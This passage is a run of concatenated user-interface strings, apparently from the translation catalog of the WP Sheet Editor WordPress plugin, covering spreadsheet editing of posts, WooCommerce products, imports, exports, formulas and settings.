                  (estimated)CloseColumn formatColumn keyColumn nameColumn not found. Try with another search criteria.Column removed. Go to "settings > hide/display columns" to enable it againColumn width (pixels)Columns could not be saved. Try again.Columns limitColumns managerColumns renamingColumns resizingColumns restored successfully, please reload the page to see the restored columns and enable themColumns visibilityColumns visibility and Custom Fields (optional)CommentsComments, Reviews, and Order Notes SpreadsheetContact usContains keywordContentContinueContributor role can view and edit his own posts only, but he can't upload images.Copy & paste from another spreadsheet or tableCopy and Paste into the spreadsheet belowCopy files from this product: (You need to save the changes afterwards.)Copy from other columnsCopy from this columnCopy regular price and decrease by percentageCopy regular price and decrease numberCopy the value of other fields into this field.
                  Example, copy "sale price" into the "regular price" field.Copy the variations into these products.Copy this access link and paste it in Google Sheets. Get quick access linkCopy variationsCopy variations and attributes from this product:Copy variations from this productCreate and copy variations for variable products.Create columnCreate new items and update existing itemsCreate this number of variationsCreate variationsCreate variations for every combination of attributes?Cross-sellsCurrent spreadsheet: %sCustom Database Tables SpreadsheetCustom attribute: %sCustom columnsCustom formulaCustom post typesCustomize featuresData missing, try again later.Data sourceDateDate range fromDaysDeactivate everything. Use the REST API onlyDeactivate the data prefetchDecode quotes?Decrease byDecrease by numberDecrease by percentageDecrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Decrease the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Deduct a number of hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Deduct time from existing datesDefault attributeDefault attributesDeleteDelete allDelete completelyDelete fieldDelete posts faster: Number of posts to delete per batchDelete rowDelete the attached images when deleting a post?Delete the newest items and keep the oldest itemDelete the old items and keep the newest itemDelete user accounts in the entire network when deleting users in the spreadsheet?Demo videoDescriptionDisable allDisable cells lazy loading?Disable column. You can enable it later.Disable extension offerings?Disable post actions while saving?Disable product inventory stats?Disable serialized columns support?Disable the addition of file ID to the image URLs?Disable the automatic formatting detection?Disable the automatic loading of rows?Disable the full screen mode?Disable the heartbeat api in the spreadsheet?Disable the replacement of line breaks with p tags?Disable this if you are using a object/database cache plugin. We disable this by default to make the saving faster, when you edit a lot of posts WordPress tries to "clean up" the cache even if you are not using a cache plugin, making hundreds of unnecessary database queries.Disable usage stats widget?DisabledDisplay raw value on select cells?Display spreadsheet editor on the frontendDisplay the spreadsheet editor in the frontendDisplay variationsDo not allowDo not copy the variation images?Do you want to deactivate columns for new fields found?Do you want to update or create items?Download %d URLDownload %d nameDownload CSV fileDownload URLDownload expiryDownload filesDownload files : URLsDownload files : namesDownload limitDownload nameDownload typeDownloadableDownloadsDrag the columns to the left or right side to enable/disable them, drag them to the top or bottom to sort them, click on the "edit" button to rename them, click on the "x" button to delete them completely (only when they are disabled previously).Dropdown with predefined optionsDuplicateDuplicate (Tool)Duplicate from the main languageDuplicate items in bulkDuplicate items in bulk.Duplicate rowDuplicate this item:ENABLE COLUMNS. These columns require a page reload: {columns}. Do you want to reload now? We will reload automaticallyEasy Digital Downloads SpreadsheetEditEdit Edit %sEdit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, restrictions, and more. Make advanced searches. The spreadsheet is in sync with your site, no need to import/export. Download PluginEdit Custom Fields in SpreadsheetEdit Posts and Pages in SpreadsheetEdit User Profiles in Spreadsheet - BasicEdit User Profiles in Spreadsheet - FULLEdit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and MoreEdit WordPress %sEdit all the rows from my current search (including non-visible rows).Edit attributesEdit categories, tags, attributes in a spreadsheetEdit filesEdit in Google SheetsEdit in a SpreadsheetEdit meta keyEdit settingsEdit the rows that I selected manually in the spreadsheet.Edit "%s"Editing:Editor role can view and edit all posts and pages.ElementorEmailEnableEnable advanced filtersEnable allEnable auto saving?Enable columnEnable commentsEnable new spreadsheetEnable option to restrict spreadsheet views per user?Enable paginationEnable reviewsEnable simple mode?Enable the REST APIEnable the advanced mode at the bottom of the page to customize the column width, format (editor, file upload, taxonomies), etc.Enable the fancy taxonomy terms selectorEnable the utf8 encoding fixEnable this option if you want to copy all the variation data, except the variation image.EnabledEnabling this column requires a page reloadEnter %sEnter IDs separated by commas, spaces, new lines, or tabs. You can use ID ranges like 20-50 as a shortcut.Enter a date format. List of formats. Example: Y-m-dEnter a keywordEnter a keyword to exclude posts, separate multiple keywords with a semicolon (;)Enter a name...Enter a number and those columns will be frozen while scrolling horizontally. You can right click on any column to freeze or unfreeze it. For example, enter 2 to freeze the first 2 columnsEnter a search term...Enter a titleEnter a word and we will find the first matching column. You will avoid scrolling through dozens of columns to find the one you need.Enter each choice on a new line. For more control, you may specify both a value and label like this:
                  red : RedEnter item name...Enter multiple SKUs or IDs separated by commasEnter multiple URLs separated by commasEnter multiple attributes separated by |Enter multiple language codes separated by commas and we will create copies of the main language. For example: en, es. Existing languages will be skipped.Enter multiple post titles separated by commasEnter multiple terms separated by commasEnter one URL per lineEnter the URL. It can be an URL from your own site (Example http://site.com/wp-content/uploads/2016/01/file.jpg) or an external URL.Enter the URL. It must be an URL from your own site. Example: http://site.com/wp-content/uploads/2016/01/file.jpgEnter the URLs separated by commas. They can be from your own site.Enter the URLs separated by commas. They must be from your own site.Enter the column name (anything you want), and select the field key from the dropdown. If you dont find it you can type it in the dropdown. View TutorialEnter the full hierarchy like parent > childEnter the list of field keys separated by commas, you can enter the full meta field key or partial keywords or prefixes. This is useful because some plugins add thousands of unnecessary fields to the database and they clutter the spreadsheetEnter the names of Enter the new terms separated by %s . You can add hierarchy like parent > child > childEnter the number.Enter the percentage number.Enter the value to append to the existing value.Enter the value to prepend to the existing value.Error 8391. You dont have enough permissions to view this page.Error on row ID: %d - %sError. The math engine could not execute the math operation: %s, ID: %dError: %sError: The new value is empty or is equal to the old valueEtc.Events SpreadsheetEverything is already saved.Everything you need for All Posts Types and ProductsEverything you need for Users and CustomersExample 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 (Set regular price - 30%)Example: ExcerptExecuteExecute NowExecute formula on future posts automatically (Advanced users only)Execute on future posts onlyExitExit Full ScreenExportExport columnExport rows faster: Number of rows to export per batchExport to CSVExtend the spreadsheetExtensionsFTP Images: Skip images with same file name?Featured ImageFeatured imageFieldField 2: CSV FieldField 2: WordPress FieldField to update:File (url or path)File IDFile URLFile URLsFile could not be uploaded. Please start the process again.File uploadFile upload (multiple)File upload (single)File uploaded succesfully but it's not a valid CSV file or it uses the wrong encoding. If you edited the file in Excel, verify it was saved as UTF-8 and keep in mind that, sometimes copy pasting from external places adds invalid characters. So make sure you paste only the values and not paste the formatting to avoid pasting invalid characters.Files saved.Filter items listFinal stepFind these IDs:Find these URLs:Fixed more than 13 bugsFor example, if you searched for posts by "author = Mark" using the search tool, we will export only posts with "author Mark"For example, if you searched for posts by author = Mark using the search tool, we will update only posts with author MarkFor example, if you select the post type "product", we will only accept product titles.For example, when deleting a post completely (not moving to the trash), delete the featured image and product gallery images from the media library. CAREFUL.If you use the same images on multiple posts, it will break the images on other postsFormatted cell mode: Render as: (Use only if cell type is empty)Formula parameters:Formula type:FormulasFreeze first columns at the left side?Frontend SheetFrontend SpreadsheetsFull URLFull contentFull screen mode is activeGalleryGeneral settingsGenerate excerptGenerated formula:Get instant help in the live chat + email support during business hoursGet the %d extensions below for just $ %s $ %sGo PremiumGo backGo to pageGo to the topGoogle SheetsGuides and TutorialsHeightHelpHere is a sample CSV containing all types of products.Here you can control the batch size for the exports. If you use a high number the exports will finish faster. You can use a high number safely because we automatically fall back to a lower number if the server is overloaded during one export. For example, export 100 rows per batch and complete the exports super fast and if we detect slowness in one export we will automatically restart the export with 10 rows per batchHere you can view all the formulas saved for ongoing execution. These formulas will be executed on posts matching the filters when they are created or updated in the spreadsheet.Hide / Display / Sort columnsHide admin bar on the frontendHide columnHoursHow do we find existing items to update?How do you want to save the multiple files?How do you want to save the multiple posts?How is the file saved in the database?How is the post saved in the database?How is the user saved in the database?How long do you want to wait between batches? (in seconds)How many copies do you want?I don't want to copy all the variationsI have a database backup, Execute NowI understand it will export all the rows from my current search.I understand it will update the products from my search.I understand, continueI want to search rows to update and edit all the search resultsIDIf the column has a very long text, we will remove the html and shorten it to a number of words.If you activate this option we will deactivate all the spreadsheets, settings pages, and the entire plugin will become invisible to the user. Only the REST API will remain active. This is useful for advanced scenarios when you only use our REST API to keep websites synchronized with external spreadsheets or systems. When this option is active, our settings page will moved under the general settings menu because our sheet editor menu will be removedIf you disable this option, this column will be edited manually only.If you enable this option, some columns will appear as text. Normally we detect the date fields, image fields.If you enable this option, the usage stats widget shown in the wp-admin dashboard will be removed.If you enable this option, we will add fields to the user profiles where you can specify which spreadsheet views they can use, they can use all the spreadsheet views if this is deactivated.If you enable this option, we will simplify the spreadsheet options and remove advanced examples, tips, and options rarely used in the search tool, bulk edit tool, import tool, export tool, and other places.If you mark this option , when you create or update a post in the spreadsheet, we will check if the post matches the formula parameters and execute the formula automatically on that post. For example. When you create a product with category apples we can set the description automatically, or when you change the SKU we can update the downloadable files URLs automatically.If you stop an import to edit your CSV file or change the import speed, you can start a new import and continue from where you left off.Ignore this columnImagine being able to do all those changes to hundreds or thousands of posts at once in just a few minutes. The formulas feature is available as premium extension.ImportImport all rows as newImport all the columnsImport as meta dataImport csvImportant. We only detected one column in the CSV file. If this is incorrect, follow these steps to fix itImportingImproved 7 featuresImproved sheet: Moved settings to a dropdown to simplify the UI and added new context menu optionsImproved tools: columns visibility. Now you can delete unnecessary columns and improved sorting and disable logicImproved tools: formulas engine. Now you can make advanced searches and apply formulas to the search results. Paid users only. Upgrade)In Google Sheets > top toolbar. Open the "WordPress" option.In this page you can quickly set up the spreadsheet editor. This all you need to use the editor. The settings on the other tabs are completely optional and allow you to tweak the performance of the editor among other things.Increase ProductivityIncrease byIncrease by numberIncrease by percentageIncrease or decrease products pricesIncrease or decrease products stockIncrease rows per pageIncrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Increase the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Initial rows offsetInsert into itemInstall for FreeInstall the "WP Sheet Editor" chrome extension. InstallInvalid #898AJSI. The replace requires 2 parameters, we received oneInvalid #8W23CV. We accept MATH and REPLACE formulas only, we received an unknown formula type.Invalid #8W89PQ. Math formula is empty.Invalid #PQ8SPQ. The math formula contains a comma: %sInvalid time unit.Is DownloadableIs VirtualIs Visible?Is a global attribute?Is featured?Is read only?Is visible?It searches in the post title and post content.
                  Search by multiple keywords separating keywords with a semicolon (;)Items loaded in the spreadsheetJWT is not configurated properly, please contact the adminJust save changesKeyLabelLengthLinks ColorLiveLoadLoad More RowsLoad more items on scroll?Load more on scrollLoad rows faster: Number of rows to load per batchLocate cellLocate cell.Locate columnLogin messageLogoMain ColorMake another searchManage stockManage taxonomy column values as term ids?Math FormulasMath formulaMath formula roundup decimalsMath operationMaximum number of variations per combination of attributesMaximum number of wordsMedia Library SpreadsheetMenuMeta keys that should use the infinite serialized fields handlerMeta: %sMicrosoft Excel (Office 365)MiscMissing columnsMissing number and time unit.Missing parameters.Missing post type or column_keyMissing post type, old_column_key, or new_column_key; or the old and new key are the same.Missing required field "data".Missing required field. Please start the process again.Modified DateModified postsMonthsMore optionsMove all your drafts to published posts or any other statusMove hundreds of posts to the trashMusicMy licenseNameName of this export (optional)Need help?Need help? Check our tutorialsNeed help? Contact usNew SpreadsheetNew extension - EVENTS - View/edit events, venues, and organizers in a spreadsheet. Advanced search, etc. View Extension)New extension - WooCommerce Coupons - View/edit coupons in a spreadsheet. Advanced search, Bulk Edit hundreds of coupons, etc. Perfect for the christmas season. View Extension)New feature - Added support for Advanced Custom Fields > relationship fields. Paid users only. Upgrade)New rows addedNew valueNextNoNo items found.No more posts available.No options availableNo posts available for the current page.No posts found matching your search parameters. You can remove the active filters or try with a different search.No taxonomies found.Normal cellNot allowed.Not allowed. Please start the process again.Not foundNot found in TrashNote. If you want to modify saved formulas you have to delete the formula and create it again in the formulas builder.Note. More than 75 copies at once might overload the server. Do it in small batches.
                  You can continue if you think your server can handle it.Note. This is not a security feature, the user can edit all the fields in the normal editor based on the role. This option is for convenience, so they only see the columns they need when they open the spreadsheet editor. If you leave these fields empty they can switch between all the existing viewsNote. This works in Google Chrome only.Note: Separate values with the character %s
                  We recommend using Global Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have their own columns in the spreadsheet. You can edit them in the columns (faster) or using this popup.
                  If you are editing the attributes of variations, the variation must be enabled, otherwise the attributes won't be saved.NumberOKOn which post types do you want to enable the editor?One variation row has a parent product that does not exist. The "parent" column contains the %s: %s. Please correct it and start a new importOnly create new items, ignore existing itemsOnly for advanced users. Read more.Oops, nothing foundOpen Google Sheets. Click hereOpen Settings PageOpen in a SpreadsheetOpen the Spreadsheet EditorOperatorOrderOtherOther extensionsOther versions of Microsoft ExcelPage ParentPagesParameter:ParentParent Spreadsheet:PasswordPaste using keyboard: Ctrl+VPausePlain text mode: Render as: (Use only if cell type is empty)Please check if you have unsaved changes. If you have, please save them or they will be dismissed.Please correct the error and save again.Please correct the error in the file and start a new import. You can use the "Advanced options" in the step 1 of the import to start from this specific row.Please enter the name of the spreadsheet views separated by commas.Please make a search to load the rows and start editing (use the "search" option in the top toolbar).Please select a product.Please select a source product.Please select at least one column to importPlease select the post type and save changes. After you save changes you will be able to see the rest of the settings and instructions.Please update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "Post dropdownPost IDPost TypePost Type General NameSpreadsheetsPost Type Singular NameSpreadsheetPost TypesPost dataPost meta (i.e. metaboxes)Post terms (i.e. categories)Post typePost type deletedPost type(s)PostsPrependPreview Frontend EditorPreviousPrimary MenuProProcessing...Processing: %d of %d rows have been exported.Product attributesProduct attributes not used for variationsProduct attributes not visibleProduct galleryPromotion. %d%% OFF only today. Purchase noteQuick AnswersQuick searchQuick settingsRealign cellsRegular PriceRegular priceRemove all filtersRemove column completely. If you want to use it later you can disable it by dragging and dropping to the right columnRemove duplicatesRemove duplicates by sku (delete the latest)Remove duplicates by sku (delete the oldest)Remove duplicates by title (delete the latest)Remove duplicates by title (delete the oldest)Remove featured imageRemove help messages from the cells?Remove the existing value and leave the field empty. Read moreRename columnReplaceReplace a media file with other fileReplace a word, phrase, or number with a new value. Read moreReplace existing value with this value. Read moreReplace old shortcodes with new shortcodes in all your postsReplace some term(s) with new term(s). Read moreReplace these filesReplace thisReplace this fileReplace words or phrases in your posts titles, content, or other fieldsRequest not allowed. Try again later.Reset settingsResize columns based on the valuesRestore deleted columnsReview countRow ID: %d, Post type: %s does not exist in WordPress. Make sure your CSV uses the right name in the post type column.Row ID: %d. You are trying to save an empty post type. Make sure your CSV uses the right name in the post type column.Rows deleted successfullyRun searchSEOSEO Canonical URLSEO DescriptionSEO FB descriptionSEO FB imageSEO FB titleSEO KeywordSEO No IndexSEO Primary %sSEO TW descriptionSEO TW imageSEO TW titleSEO TitleSKUSale PriceSale end dateSale priceSale price datesSale start dateSales price date fromSales price date toSame as the spreadsheet post typeSaveSave and continueSave changesSave changes and go to the next post editorSave changes and go to the previous post editorSave changes faster: Number of rows to save per batchSave them as serialized arraySave these settings for future sessions?Save this searchSaved them separated by commaSaved: %sSaving changes, don't close this page.Scan DB to find fieldsScan NowSearchSearch SpreadsheetSearch on variations?Security and user roles (optional)Select active columnsSelect allSelect all the products from a searchSelect column...Select columns to importSelect individual columns to importSelect individual productsSelect product...Select the format of the cells, if the cells should be normal text, a file uploader, or text editor.Select the information that you want to edit with the spreadsheet editor.Select the kind of information used in the cells of this column.Select the rows that you want to update.Select type of editSelect...SeparatorSeparator for taxonomy terms cellsSet featured imageSet hundreds of products at once as out of stock or in stockSet the same featured image in all the posts in a categorySet up SpreadsheetSet valueSettingsSetup page in the frontendSetup spreadsheetSheet EditorShipping classShort descriptionShow advanced optionsShow advanced options Show all the custom post statuses?Show cells as simple textShow column keyShow items published between these datesShowing rows from your last session.Simple textSkip broken images?SlugSold individuallySolution to weird errorsSome changes are not saved yet.Some plugins execute a task after a post is created or updated. For example, there are plugins that share your new posts on your social profiles, other plugins that notify users after a post is updated, etc. There might be an issue with those plugins. For example, if you use a plugin that shares your new posts on your twitter account and update 100 posts in the spreadsheet editor you might end up with 100 tweets shared in your twitter account. So enable this option if you want to update / create posts silently without executing those functions.Some rows were modified in the background. Please save the changes and reload the spreadsheet to see the changesSome rows were modified in the spreadsheet. Please save the changes before using this feature.Sort alphabetically ASCSort alphabetically DESCSourceSpeed and performanceSpreadsheet ArchivesSpreadsheet AttributesSpreadsheet for %s %sSpreadsheet viewsSpreadsheets listSpreadsheets list navigationStandard ProductStart from row number:Start new exportStatusStockStock statusSubscriber role is not allowed to use the editor.Suspend object cache invalidation?TagsTags (comma separated)Target products not found.Taxonomy columns like post categories, post tags, etc. show terms separated by comma, if you use commas in your term names, use this option to change the separatorTaxonomy dropdownTaxonomy dropdown. Only if data source = post terms.Template item not found or not allowed to be duplicated.TermsTextText editor (tinymce)Thank you for updating to the new version of the plugin.Thank you for using our spreadsheet editorThe "Create variations" tool allows you to create variation based on the combination of attributes. The default limit is 200 variations to not overload your server. You can increase the limit here if you need more variations.The "bulk update" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:The REST API can be used for interacting with our spreadsheet from external apps.The Spreadsheet is ready.The WooCommerce products spreadsheet automatically generates inventory units and inventory price stats and shows the stats above the spreadsheet. This can slow down the sheet if you have several thousand products. Disable it if the spreadsheet is too slow or you see errors when loading rows.The auto saving failed: the server is not available or overloaded. Do you want to try again?The bulk edit has been executed. Do you want to reload the page to see the changes?The bulk edit is missing important information, please fill the form.The bulk edit is running. Please dont close this window until the process has finished.The bulk edit was executed successfully. You can close this windowThe cell will display the values as URLs and you can edit in the cells using full URLs, file ID, or file name.
                  External URLs are automatically imported into the media library.
                  We will save the value in the format selected hereThe cells will display the date in the format: YYYY-MM-DDThe changes about to be made are not reversibleThe changes about to be made are not reversible. You should backup your database before proceding.The column name displayed in the spreadsheetThe column selected is not valid.The default way uses a faster execution method, but it might not work in all the cases. Use this option when the default way doesn't work or doesn't update all the posts.The editor is available only for logged in users. Unknown users will see a login form.The export does not exist. Please export again.The export feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The files could not be saved.The import feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The item could not be saved. Please try again in other moment.The key that will be used for saving the information in the database. This must be unique, only letters and underscores.The last import batch failed due to a server error, it's more likely that the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows every few seconds).
                  2- You can start a new import, sometimes trying again works (use the "advanced settings" in the step 1 of the import to start from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens after trying with 1 row per batch, you can contact us and we will make it work for youThe loading is taking too long?
                  1. You can wait until the process finished.
                  2. You can The log file does not exist.The math formula can't be applied. We found some existing data is not numeric. Data found: %s, ID: %dThe meta field could not be deleted.The meta field was deleted successfullyThe meta key couldnt be renamed.The meta key was renamed successfullyThe option to create variations for every combination of attributes requires WooCommerce 3.0 or higher. Please update WooCommerce.The plugin will mark as used for variations all the attributes that DONT contain these keywords, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will mark as visible all the attributes that DONT contain these keywords, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will not initialize for the user roles not selected here.The preview is fine, start importThe quick access link has expired or it does not existThe selected product does not have variationsThe server could not process our request. Please try again later.The server did not accept our request. Bad request, please try refresh the page and try again.The server didn't accept our request. You don't have permission to do this action. Please log in again.The server has exceeded its allocated resources and is not able to process our request.The server is busy and took too long to respond to our request. Please try again later.The server is not available or overloaded. Do you want to try again?The server is not available or overloaded. Please try again later.The server wasn't able to process our request. Server error. Please try again later.The source product doesn't have variations.The spreadsheet automatically generates columns for serialized fields, but this can use a lot of CPU cycles depending on the number of serialized fields. You can disable this feature if the sheet is too slow to load or you get errors when loading the rows or you dont want to see columns with prefix "SEIS".The spreadsheet editor can be used to edit your WordPress %s.The spreadsheet editor is very powerful and it has a lot of features. In this step you can enable the features that you need.The spreadsheet loads only the "visible rows" for performance reasons, so when you scroll up or down the rows are loaded dynamically. This way you can "open" thousands of posts in the spreadshet and it will work fast. However, if you want to use the browser search to find a specific cell, you need to disable the lazy loading in order to load all the rows at once and the browser will be able to find the cells. The browser search doesn't work by default because only the "visible rows" are actually created.The taxonomy columns (i.e. categories, tags) use a limited dropdown by default for selecting one term only and the column can be copy pasted. We have a fancy dropdown selector, which has better auto complete, allows selecting multiple options, etc. but it uses more server resources and it doesn't allow copy pasting in these cells. You can activate it here if you prefer a better dropdown over the ability to copy paste.The variations are for these products: This color will be used as background for the header and footer.This color will be used for the menu links, it should be the opposite of the background color. i.e. dark background with light text, or light background with dark textThis column is for parent products only, variations don't use this fieldThis column is only for variation rows, parent products don't use this fieldThis feature is available as premium extension.This is only for advanced users or if our support team asks you to use this option. We have 2 ways to handle serialized fields: the old handler (used by default, which has limitations) and the infinite serialization handler (better, it is not active by default to not break previous integrations). Use this option if you have serialized fields that save incorrectly or dont appear in the spreadsheet.This is optional. Leave empty to use the name from the URLs. Enter multiple names separated by commasThis logo will be displayed above the spreadsheet in the frontendThis menu will be displayed at the top right section above the spreadsheet.This might help if the spreadsheet doesnt load or it loads empty.This will be displayed when the current user is not logged in and tries to see a spreadsheet page. We will display a login form after your message.This will save you {clicks_count} clicks :)Time saved
                  (estimated)Time unitTinyMCE EditorTip. If you edited information from this site, you should import the columns edited and record_id. Don't import columns that weren't modifiedTip. We can help you with the spreadsheet setup. Get instant help in the live chat during business hoursTip. You can use the "export" tool to download a CSV and see the available columns and format.
                  You can read our documentation here.TitleTo search among all posts use the Search tool. Use this to locate and highlight one value in the loaded rows in the spreadsheet. I.e. highlight a SKU or email or title.Tools located above the table.Total salesTranslate separatelyTurn this on and the spreadsheet will save automatically all the changes made on the cells every 2 minutes. Careful, this might cause issues if the changes are saved prematurely before you finish editing all the required columns.TutorialTypeURL SlugUnfiltered HTMLUnselect allUnselect all columnsUpdate existing items, ignore new itemsUpdate existing value with the result of a math operation.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Update settingsUpdated 6 extensions.Upload imageUpload the fileUpload the filesUploaded by userUploaded to this itemUpsellsUsage statsUse an infinite list instead of paginationUse as featured imageUse pagination in the spreadsheet?Use prices from simple product (parent) on the variationsUse separate columns for images during export and import?Use slower execution method?Use this editor to edit the content only, other fields like tags and categories should be edited on the spreadsheet.Use this link privately for security reasons, this link expires after one usage.Used for Variations?Used for variation?User dropdownUser not allowedUser not allowed to edit rowsUser rolesUser roles that can use the spreadsheet editorUsernameUsersUsing this tool you can update thousands of rows at onceValueValue in the replace section is not validVariation descriptionVariation enabled?Variation: %sVariations ManagerVendorViewView ExtensionsView GalleryView SpreadsheetView SpreadsheetsView extensionsView logVirtualVisibilityWP EditorWP Sheet EditorWP Sheet Editor UsageWPBakery Page BuilderWPML - DuplicateWPML - LanguageWPML - RelationshipWPML - Translation ofWPML - Translation priorityWatch tutorialWe are saving now. Don't close this window until the process has finished.We automatically detected all the columns.We automatically round up to 2 decimals. You can enter any number here, for example, 1 to round to 1 decimalWe can scan the database, find new fields, and create columns automatically for the supported fields.We didn't find rows to update from the search query. Please try another search query.We find rows with the same value in the CSV Field and the WP Field.
                  I.e. Products with same SKU or ID.We found similar columns. Do you want to apply the same action to them? {columns}We have +200 tutorials and guides on our blogWe have an extension for displaying this spreadsheet on the frontend. You can select the columns to display, and select the spreadsheet tools for the frontend users (search, bulk, edit, import, export, etc.). For example:We import the file in batches (i.e. 4 rows every few seconds). When one batch fails, we normally pause the import and ask you if you want to retry or cancel the import. Select this option to auto retry. Careful, you need to select the option to update existing rows in step 3 of the import, so we can retry and skip what was imported successfully and only retry what failed, if you dont select the option to update in step 3 of the import, every retry might duplicate some previously imported rows.We limit the spreadsheet columns for performance reasons to avoid loading thousands of columns on the spreadsheet. You can increase this limit if you want to display more columns. Default: 310We need to reload the Spreadsheet to remove the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We need to reload the spreadsheet rows to load the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We use pagination to use few server resources. We load 20 rows first and load 20 more every time you scroll down. You can increase this number to load more rows per page. CAREFUL. Loading more than 200 rows per page might overload your server. If we detect that the server is overloaded we will automatically reset to 10 rows per page.We use pagination. By default we load 20 rows per page (every time you scroll down). You can increase the number to load more rows every time you scroll down.We will append the new file to the existing files in the products. Enter file URL only, you can enter multiple URLs separated by comma.We will append the new file(s) to the existing media file(s).We will delete the selected row(s) from the database completely. If you want to restore them later, you should make a backup before. Do you want to delete them?We will delete this meta field from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will display all the columns that were deleted or disabled, renamed columns will show the original titles, we will rescan the database to find columns again, and the speed/advanced settings will be reset to the defaults. This only affects settings of our plugin and it does not affect the data edited with the sheet.We will prepend the new file(s) to the existing media file(s).We will replace the existing media file with this file.We will replace the existing media file(s) with these file(s).We will replace the existing terms with these terms.We will save the current search query and export settings, and you can execute this export with one click in the future using the dropdown in the export menuWe will save these files. Existing files will be overwritten. Enter file URL only, you can enter multiple URLs separated by comma.We will save this group of columns as a spreadsheet view and you can switch between spreadsheets in the toolbarWeeksWeightWelcome to WP Sheet EditorWhat app will you use to edit this file? (optional)What attribute do you want to edit?What columns do you want to export?What component do you need?What date format do you want to save in the database?What field do you want to edit?What information do you want to edit on the frontend?What kind of posts require this column in the spreadsheet?What setting do you want to change?What valued is saved when the checkbox is checked?What valued is saved when the checkbox is unchecked?What's new on WP Sheet EditorWhen the sheet loads and saves post content, we run it through wpautop to prevent issues with line breaks. You can disable this if you dont want to see/save the p tags in the content.When the sheet loads, we open it in full screen and you have the option to exit the full screen mode. Activate this option and we wont open the sheet in full screen.When this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the pageWhen this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the page. You can enable / disable in the spreadsheet too.When this is enabled the products variations will be displayed and you will be able to edit them.When you delete posts, pages, events, products, orders, coupons, and other post types, you can select how many will be deleted on every batch. Use a higher number to finish faster. Default is 500When you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. But your server can't handle all the batches one after another so we need to wait a few seconds after every batch to give your server a little break. The recommended value is 6 seconds, you can adjust it as it works best for you. If you get errors when saving you should increase the number to give your server a longer break after each batchWhen you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. The recommended value is 4 , which means we will process only 4 posts at once. You can adjust it as it works best for you. If you get errors when saving you should lower the numberWhen you finish this step you can start using the frontend editor. You can add the frontend page to a menu or share the link with your users.When you have 1000 posts , you might want to open the spreadsheet and start editing from post 200. This option lets you skip a lot of rows. IMPORTANT. We use the pagination, so we will display the page closest to that number. For example. If you load 10 rows per page and enter 1205 as offset, the sheet will start from page 120 (index 1200) because it is the page closest to the defined offset.When you import an image using FTP urls, the image is imported every time and you might end up with duplicates in the media library. Activate this option to reuse images in the media library with same file name and avoid downloading the FTP image again on future imports. Deactivate this option if you want to keep the images updated on future imports.When you load the spreadsheet, we get all the columns at once from the database to make it faster, this is called prefetch. This can cause issues if you have thousands of columns or rare database setups.When you open the spreadsheet, we load the rows automatically so you can start editing right away. Activate this option if you want to search rows and load manually.When you use WordPress multisite and you delete a user in the users spreadsheet, by default we only remove the user from the current site but the user remains in the network. Activate this option if you want to delete the user account from the entire networkWhich duplicates do you want to delete?Which variations do you want to copy?WidthWith our editor you will be able to edit all the information of
                  your %s saving you a lot of time.With these filesWith thisWith this fileWooCommerce - BASIC integrationWooCommerce - Products IntegrationWooCommerce CouponsWooCommerce Coupons SpreadsheetWooCommerce Customers SpreadsheetWooCommerce Orders SpreadsheetWooCommerce productsWordPress FieldWordPress fieldWordPress uses the heartbeat API to check the login status every few seconds. This can overload your server because it could make hundreds of requests when you are editing in the spreadsheet. You can disable it to reduce the stress on your server while editing in the sheet. However, if you keep the spreadsheet opened over multiple days your login session can expire and you wont be notified if you disable the heartbeat and this can cause issues while saving. So use this option only when you use the spreadsheet for a few hours only.Wrong data formatWrong file extension. We accept CSV onlyWrong file urlWrong product type. Make sure it is a variable product.XYearsYesYou are not allowed to do this action. Please reload the page or log in again.You can change the language of this post. If the translation for the new language exists, this change will not be applied.You can convert simple products into variable products. You can copy variations into a simple product and keep the prices from the simple product on the variations.You can create new items hereYou can do this multiple timesYou can edit your Media information like:You can edit your WooCommerce products information like:You can find all the settings here, like columns visibility, etc.You can read our FAQ with a list of hundreds of questionsYou can resize the editorYou can search by any field using operators. I.e. price > 100, image != (empty)You can select the rows for the edit in the first option of this form.You can start using the spreadsheet editor in just 5 minutes. Please follow these steps.You dont have enough permissions to create new rows.You dont have enough permissions to do this action.You dont have enough permissions to execute this action.You dont have enough permissions to load rows.You dont have enough permissions to save changes.You dont have enough permissions to search taxonomy terms.You dont have enough permissions to view this page.You entered an invalid formula. Please double check or contact us.You have modified posts. Please save the changes because we will refresh the spreadsheet.You have modified posts. Please save the changes because we will refresh the spreadsheet. Do you want to refresh now?You have modified rows. Please save the changes before removing columns from the spreadsheet.You haven't saved formulas yet.You must enter the full hierarchy like parent > childYou must use it privately for security reasons, this link expires after one usage.You need to load the rows manually because you deactivated the automatic loading of rows. Change the settingsYou need to login to view this page.You need to set a logo in the settings page. Optionally you can change the background color, links color, and set a header menu.You selected a 